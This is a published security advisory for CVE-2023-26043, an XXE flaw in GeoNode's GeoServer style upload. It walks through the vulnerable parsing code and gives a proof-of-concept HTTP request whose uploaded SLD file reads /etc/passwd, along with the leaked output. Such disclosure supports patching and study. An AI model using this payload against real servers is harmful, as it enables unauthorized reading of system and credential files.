CVE-2023-26043: XEE

First published: Mon Feb 27 2023(Updated: )

### Summary GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. ### Details GeoNode's GeoServer has the ability to upload new styles for datasets through the [`dataset_style_upload` view](https://github.com/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/urls.py#L70-L72). ```py # https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159 @login_required def dataset_style_upload(request, layername): def respond(*args, **kw): kw['content_type'] = 'text/html' return json_response(*args, **kw) ... sld = request.FILES['sld'].read() # 1 sld_name = None try: # Check SLD is valid ... sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2 except Exception as e: respond(errors=f"The uploaded SLD file is not valid XML: {e}") name = data.get('name') or sld_name set_dataset_style(layer, data.get('title') or name, sld) return respond( body={ 'success': True, 'style': data.get('title') or name, # 3 'updated': data['update']}) ``` `dataset_style_upload` gets a user-provided file (`1`), pass it to `extract_name_from_sld` to extract an element from it (`2`) and return the former in the response (`3`). ```py # https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234 def extract_name_from_sld(gs_catalog, sld, sld_file=None): try: if sld: if isfile(sld): with open(sld, "rb") as sld_file: sld = sld_file.read() # 1 if isinstance(sld, str): sld = sld.encode('utf-8') dom = etree.XML(sld) # 2 ... named_dataset = dom.findall( "{http://www.opengis.net/sld}NamedLayer") el = None if named_dataset and len(named_dataset) > 0: user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle") if user_style and len(user_style) > 0: el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3 ... return el[0].text # 4 ``` `extract_name_from_sld` uses `sld` (which is a path to the provided file), reads it (`1`) and parses it with [`etree.XML`](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1312) in `2`. Since the former uses a [default XMLParser](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1323-L1324), the parsing gets done with the [`resolve_entities` flag set to `True`](https://lxml.de/api/lxml.etree.XMLParser-class.html#:~:text=resolve_entities%3DTrue). Therefore, `dom` handles the parsed XML containing the resolved entity (`2`), gets `NamedLayer.UserStyle.Name` in `3` and returns the resolved content in `4`. ### PoC 1. Create a guest/non-privileged account and log in. 1. Upload a dataset through `/catalogue/#/upload/dataset` whose name we will be referencing as `<DATASET_NAME>`. 1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of `/etc/passwd`: ``` POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1 Host: localhost Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE> X-Csrftoken: <CSRF-TOKEN> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo Content-Length: 485 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="layerid" 1 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="sld"; filename="foo.sld" Content-Type: application/octet-stream <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]> <foo xmlns="http://www.opengis.net/sld"> <NamedLayer> <UserStyle> <Name>&ent;</Name> </UserStyle> </NamedLayer> </foo> ------WebKitFormBoundaryfoo-- ``` Sample response: ``` HTTP/1.1 200 OK Server: nginx/1.23.2 ... {"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false} ``` ### Impact This issue may lead to authenticated `Arbitrary File Read`.

Credit: security-advisories@github.com security-advisories@github.com

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